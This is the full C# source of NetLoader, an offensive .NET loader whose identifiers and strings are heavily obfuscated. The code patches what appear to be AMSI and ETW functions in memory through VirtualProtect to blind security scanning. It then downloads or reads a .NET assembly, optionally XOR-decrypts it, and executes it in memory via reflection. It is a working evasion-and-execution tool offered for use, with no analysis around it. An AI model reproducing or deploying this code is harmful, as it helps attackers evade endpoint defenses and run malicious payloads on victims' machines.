Files
Flangvik-NetLoader/Source/Program.cs
T
2020-06-21 17:44:12 +00:00

276 lines
18 KiB
C#

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;
using System.Threading;
//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class AmphibologicalRhynchocoela{
private static object[] SemipurposiveCollate = null;
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string LegaciesBellicism);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr CancrisocialWeightlessness, UIntPtr SubjectdomIsoenzyme, uint RarietyFriable, out uint TurnscrewPreinspired);
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr ReglorifySystemproof, string NonimmanentCordleaf);
private static byte[] AtamanInfraocclusion(string url)
{
HttpWebRequest PropinquitatisQuinaldine = (HttpWebRequest)WebRequest.Create(url);
PropinquitatisQuinaldine.Proxy.Credentials = CredentialCache.DefaultCredentials;
PropinquitatisQuinaldine.Method = Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("Aj0g"), "ExtraparentalOracles"));
WebResponse MisreprintQuiz = PropinquitatisQuinaldine.GetResponse();
MemoryStream ms = new MemoryStream();
MisreprintQuiz.GetResponseStream().CopyTo(ms);
return ms.ToArray();
}
public static void Main(string[] args)
{
GonnaMachine();
QualificationLepero();
string PhacochereUnabidingness = "";
string[] ChromidiogamyOwner = new string[] { };
bool RespellingUnprovident = false;
bool GlycerineBandrol = false;
string AmaisterBedaff = "";
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("ClQ0Th80BRQdNxkFEkdVThciIxsGXhlSSjsWJCMDGAMcHA=="), "QuinariusPolygynic")));
int MiseducativeBallerina = (Convert.ToInt32(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("YExV"), "StahlismThrivingly"))) * Convert.ToInt32(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("ew=="), "ClitelliferousAdipsy"))));
if (args.Length > 0)
{
foreach (string argument in args)
{
if (argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("Y0wBXVE="), "NacketVelour")) || argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("aQdaUQ=="), "DelegatoryCongregated")))
{
RespellingUnprovident = true;
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("DkU8UzUEAUEVGwQmBAoAHR1HNBwEUzYJHgRCXUM2BwwBDQsDeU4FFhcHCQgaDkMnAQoDSQEJdRoJFlQOARg="), "UnasthmaticSioning")));
}
if (argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("bgEMHg=="), "CycloidalForbearingness")) || argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("bEEUGhY="), "AlludingNonconcentrically")))
{
GlycerineBandrol = true;
int SystoleUnderrepresent = Array.IndexOf(args, argument) + 1;
if (SystoleUnderrepresent < args.Length)
{
string PeriheliumGabendum = args[SystoleUnderrepresent];
if (RespellingUnprovident)
AmaisterBedaff = Encoding.UTF8.GetString(Convert.FromBase64String(PeriheliumGabendum));
else
AmaisterBedaff = PeriheliumGabendum;
}
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("FFs4TiwEDRYcFBgQPAhTLD0zbxULDRoYHhAAAEwbOwESBgtBOgMMAA9BBQEcREsCYhJU"), "OpenhandedlyRostra")), AmaisterBedaff);
}
if (argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("fgQOABw="), "StotterelElope")) || argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("aUwFAzoH"), "DaubNonsensitiveness")))
{
int SystoleUnderrepresent = Array.IndexOf(args, argument) + 1;
if (SystoleUnderrepresent < args.Length)
{
string PetiteGlairin = args[SystoleUnderrepresent];
if (RespellingUnprovident)
PhacochereUnabidingness = Encoding.UTF8.GetString(Convert.FromBase64String(PetiteGlairin));
else
PhacochereUnabidingness = PetiteGlairin;
}
}
if (argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("bgkXBQY="), "ChebuleNonsuch")) || argument.ToLower() == Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("YUQMAg4d"), "LimpingnessPostvertebral")))
{
int LignosulphiteFlakiest = Array.IndexOf(args, argument) + 1;
int AcceptMalecite = args.Length - LignosulphiteFlakiest;
ChromidiogamyOwner = new String[AcceptMalecite];
for (int i = 0; i < AcceptMalecite; i++)
{
string PetiteGlairinArgs = args[LignosulphiteFlakiest + i];
if (RespellingUnprovident)
ChromidiogamyOwner[i] = Encoding.UTF8.GetString(Convert.FromBase64String(PetiteGlairinArgs));
else
ChromidiogamyOwner[i] = PetiteGlairinArgs;
}
}
}
if (string.IsNullOrEmpty(PhacochereUnabidingness))
{
CanelaEndarch();
Environment.Exit(0);
}
XanthelasmicSunfish(PhacochereUnabidingness, ChromidiogamyOwner, GlycerineBandrol, AmaisterBedaff, MiseducativeBallerina);
Environment.Exit(0);
}
while (true)
{
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("H1YuTzEXFxAaQSxFJh5JEhoRTwIGCAkgSQcAWBwfDBpA"), "DisoxygenateOpisthodome")));
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("CVopSCgdSyINCkYFBx4SJkUWCRILXXdBAwgPBgoCNkVLSBhBBWNMWEY="), "RethankCaffling")));
RespellingUnprovident = EncistColossochelys(Console.ReadKey(false).Key);
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("E144TSgaGQEdQyUPEhpJDhBMEBwJU152QQ=="), "HaematiticUnfriableness")));
PhacochereUnabidingness = SpasmophilicRadious(Console.ReadLine(), RespellingUnprovident);
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("E1olQS0aSRoNJ0EZDRYeHCkBWAUFHQhOPQ0zSQkBEQExFQwEAElWThxtD0lBUVI="), "HexadiineBailors")));
GlycerineBandrol = EncistColossochelys(Console.ReadKey(false).Key);
if (GlycerineBandrol)
{
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("GlM5TycBHhoHRT8BEVQ9IxNMDwoXT0NRUw=="), "AldononoseKittel")));
AmaisterBedaff = SpasmophilicRadious(Console.ReadLine(), RespellingUnprovident);
}
Console.WriteLine("[?] Input payload args (optional) -> ");
ChromidiogamyOwner = SpasmophilicRadious(Console.ReadLine(), RespellingUnprovident).Split(' ');
if (PhacochereUnabidingness.Length > 0)
{
XanthelasmicSunfish(PhacochereUnabidingness, ChromidiogamyOwner, GlycerineBandrol, AmaisterBedaff, MiseducativeBallerina);
}
}
}
private static byte[] DesEvacuatorsCruciatederEnquirer()
{
if (!HimatiaPerineoplasty())
return Convert.FromBase64String(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("JjIKIilAJSorFiBP"), "SticktailWarracoori")));
return Convert.FromBase64String(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("PCgXJCVGJSg="), "IntegrallyBeglitter")));
}
private static Type PrurigosTrepanning(MethodInfo GibBibliopolical)
{
return GibBibliopolical.ReflectedType;
}
private static void QualificationLepero()
{
IntPtr GangueDaunton = MispagedDisastrous(FrontomallarIntimado());
if (GangueDaunton != (IntPtr)0)
{
Marshal.Copy(DesEvacuatorsCruciatederEnquirer(), 0, GangueDaunton, DesEvacuatorsCruciatederEnquirer().Length);
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("DkUwVSkPDwoLFCEDEgMeHkkeBiENBRAeWi0kPS5z"), "UnmuzzlingRegorging")));
}
else
{
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("ClQ4UyQSNwIEChsLQTUkPS5MPxA8KTYw"), "QuestsCalculatingly")));
}
}
public static int PinwalesTanneries(int UngarteredMenstruosity)
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)UngarteredMenstruosity;
return UngarteredMenstruosity;
}
private static void ReauthenticatedConcubinal(byte[] AbyeOvertalkatively)
{
BastardlyUnprosaic(ServiceberryZeme(CrayeDisinteresting(AbyeOvertalkatively)));
}
private static string SpasmophilicRadious(string PoltroonishlyChaldaic, bool UtilCocreatorship)
{
if (UtilCocreatorship)
PoltroonishlyChaldaic = Encoding.UTF8.GetString(Convert.FromBase64String(PoltroonishlyChaldaic));
if (PoltroonishlyChaldaic.Trim().ToLower().Equals(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("Nw=="), "OlympicsPhagocyte"))))
Environment.Exit(0);
return PoltroonishlyChaldaic;
}
private static object BastardlyUnprosaic(MethodInfo GibBibliopolical)
{
if (PrurigosTrepanning(GibBibliopolical) == GibBibliopolical.ReflectedType)
return GibBibliopolical.Invoke(null, SemipurposiveCollate);
return SemipurposiveCollate[0];
}
private static void EscortedMyope(byte[] AbyeOvertalkatively, string AmaisterBedaff)
{
BastardlyUnprosaic(ServiceberryZeme(CrayeDisinteresting(ChunteredWrong(AbyeOvertalkatively, AmaisterBedaff))));
}
private static bool HimatiaPerineoplasty()
{
if (IntPtr.Size == 4)
return false;
return true;
}
private static byte[] BitonalitiesUnsynchronous()
{
if (!HimatiaPerineoplasty())
return Convert.FromBase64String(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("JA0/JQ=="), "SendableUnthrone")));
return Convert.FromBase64String(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("Mx5OXg=="), "DiscomposeBlackguard")));
}
private static MethodInfo ServiceberryZeme(Assembly asm)
{
return asm.EntryPoint;
}
private static Assembly CrayeDisinteresting(byte[] OckerEntangledness)
{
return Assembly.Load(OckerEntangledness);
}
private static void GonnaMachine()
{
var EvacuatorsCruciated = BitonalitiesUnsynchronous();
uint BromohydrateTelephotography;
var DropkickerScutcheon = LoadLibrary(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("OB0XGQ1CDRYJ"), "VisualizeBorine")));
var MicrogasterMolder = GetProcAddress(DropkickerScutcheon, Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("FREFIwQMDRUjGwYaNg=="), "PerfricationSodium")));
if (VirtualProtect(MicrogasterMolder, (UIntPtr)EvacuatorsCruciated.Length, 0x40, out BromohydrateTelephotography))
{
Marshal.Copy(EvacuatorsCruciated, 0, MicrogasterMolder, EvacuatorsCruciated.Length);
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("C1g4VTcaDwwHEgEpBg8FF0kRDw0/HA4QAE8pOzVA"), "PseudolobarOscinidae")));
}
}
private static IntPtr MispagedDisastrous(IntPtr GangueDaunton)
{
uint VibranciesUnctionless = 0;
if (VirtualProtect(GangueDaunton, (UIntPtr)DesEvacuatorsCruciatederEnquirer().Length, 0x40, out VibranciesUnctionless))
{
return GangueDaunton;
}
else
{
return (IntPtr)0;
}
}
private static byte[] ChunteredWrong(byte[] PoltroonishlyChaldaic, string StreamlikeSeepproof)
{
//byte[] keyBytes = Encoding.UTF8.GetBytes(StreamlikeSeepproof);
byte[] EgomaniacallyComplainantBytes = new byte[PoltroonishlyChaldaic.Length];
for (int i = 0; i < PoltroonishlyChaldaic.Length; i++)
{
EgomaniacallyComplainantBytes[i] = (byte)(PoltroonishlyChaldaic[i] ^ Encoding.UTF8.GetBytes(StreamlikeSeepproof)[i % Encoding.UTF8.GetBytes(StreamlikeSeepproof).Length]);
}
return EgomaniacallyComplainantBytes;
}
private static void XanthelasmicSunfish(string PleasableUnfoldment, string[] RhinogenousEnculturating, bool GlycerineBandroloded = false, string AmaisterBedaff = "", int EnvineyardCaduciary = 0)
{
PinwalesTanneries(EnvineyardCaduciary);
if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("bw=="), "OilbirdsLollardian")), RhinogenousEnculturating)))
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("GEo/QjQ1KVg/MzkJTFRJ"), "CabbagewormAlnico")) + PleasableUnfoldment + Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("Dh0AGQgEPhEBU0pJ"), "OogleaPerspicuous")) + string.Join(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("bw=="), "OilbirdsLollardian")), RhinogenousEnculturating));
else
{
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("GEo/QjQ1KVg/MzkJTFRJ"), "CabbagewormAlnico")) + PleasableUnfoldment + Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("Dh0AGQgEPhEBU0pJ"), "OogleaPerspicuous")) + string.Join(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("bw=="), "OilbirdsLollardian")), RhinogenousEnculturating));
}
SemipurposiveCollate = new object[] { RhinogenousEnculturating };
if (GlycerineBandroloded && PleasableUnfoldment.ToLower().StartsWith(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("IRoQBQ=="), "InductingUnlaughing"))))
{
EscortedMyope(AtamanInfraocclusion(PleasableUnfoldment), AmaisterBedaff);
}
else if (!GlycerineBandroloded && PleasableUnfoldment.ToLower().StartsWith(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("IRoQBQ=="), "InductingUnlaughing"))))
{
ReauthenticatedConcubinal(AtamanInfraocclusion(PleasableUnfoldment));
}
else if (!GlycerineBandroloded && !PleasableUnfoldment.ToLower().StartsWith(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("IRoQBQ=="), "InductingUnlaughing"))))
ReauthenticatedConcubinal(FilmsetZonations(PleasableUnfoldment, FileMode.Open));
else
EscortedMyope(FilmsetZonations(PleasableUnfoldment, FileMode.Open), AmaisterBedaff);
}
private static void CanelaEndarch()
{
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("BQEOCABXSQ=="), "ProoemionProtocatechualdehyde")));
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("EQYMBRZOUi5OCX9aKUUpSR0bF1JRAgsYSjRPQzQUGQpTSBAcDQo7FysVExANSkUpQAgcBgdJUwwtGwwQCisTBwQYdzM="), "DumbstruckInterdetermination")));
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("DwFfD1lBVFQuEhgMAQsdEj9FCwUACU4VAB4ECTYBFx9PHAAQCAENEQcLFFMnDQwdQQ8CCUEDEQw2B1IdDgcPGQQWCRcdRRIBNkUPCBILWFFBCQsHPBEXCUE="), "SurmountablenessSemiannealed")));
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("DhFOFwERU0wmEQAAAAAdKAJUAgABBB0RFQkgRQoBCgoKDR0IGg5PGhsoGlQQCB0EAg1BCjsJBhxOAhsJSTk7O08LHSocDQIVFgFeVCwZIRFDDQtDDwMFDRseCgpTKxdUBgkWRSg7M0w2AAAdFxMdBQYPVAIKF10="), "ReconciliationsIntraseptal")));
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("HRhBHwIVHF9EGRQAAAATHB4YVAQAMw0BChcEBktEHRsKDQIGBwkSVAAJJEwcDhcJWEUBPQEGARNHHwMCFRhBLh5MDkM0JilIdBoIRBUPFkwDHRoAMxVMGwxBGAoFMFs="), "AllocatedTundagslatta")));
Console.WriteLine(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("HQVYAAYOEFtMIwk3DB0ABw8LYQEUExUEBhUJHlk2FhcKSRoIYQEUEgdJAhMLGRQmCwYdSRoIYQUdBFQFDAAICR1jBxsACBweb1E4FAcdQwMJTB8sCR4BHgsDYRMMQRUFD0ENHh42CBcAHR1HJx4HQQABBkEOBRciFwtA"), "AquaticallyCerning")));
}
private static byte[] FilmsetZonations(string PoritidaeKukang, FileMode NeovitalismPlutologist)
{
byte[] EgomaniacallyComplainant = null;
using (FileStream fs = new FileStream(PoritidaeKukang, NeovitalismPlutologist, FileAccess.Read))
{
EgomaniacallyComplainant = new byte[fs.Length];
fs.Read(EgomaniacallyComplainant, 0, (int)fs.Length);
}
return EgomaniacallyComplainant;
}
private static bool EncistColossochelys(ConsoleKey StruttinglySaleratus)
{
if (StruttinglySaleratus == ConsoleKey.X)
Environment.Exit(0);
return (StruttinglySaleratus == ConsoleKey.Y);
}
private static IntPtr FrontomallarIntimado()
{
return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("LAQACEoSCQI="), "MisadventurousEarlap"))), Encoding.UTF8.GetString(ChunteredWrong(Convert.FromBase64String("CAMQBj4TAB0xHAkIKAs="), "IncompassionMyceloid")));
}
/*
//This is for MSBuild later
public class ClassExample : Task, ITask
{
public override bool Execute()
{
AmphibologicalRhynchocoela.Main(new string[] { });
return true;
}
}
*/
}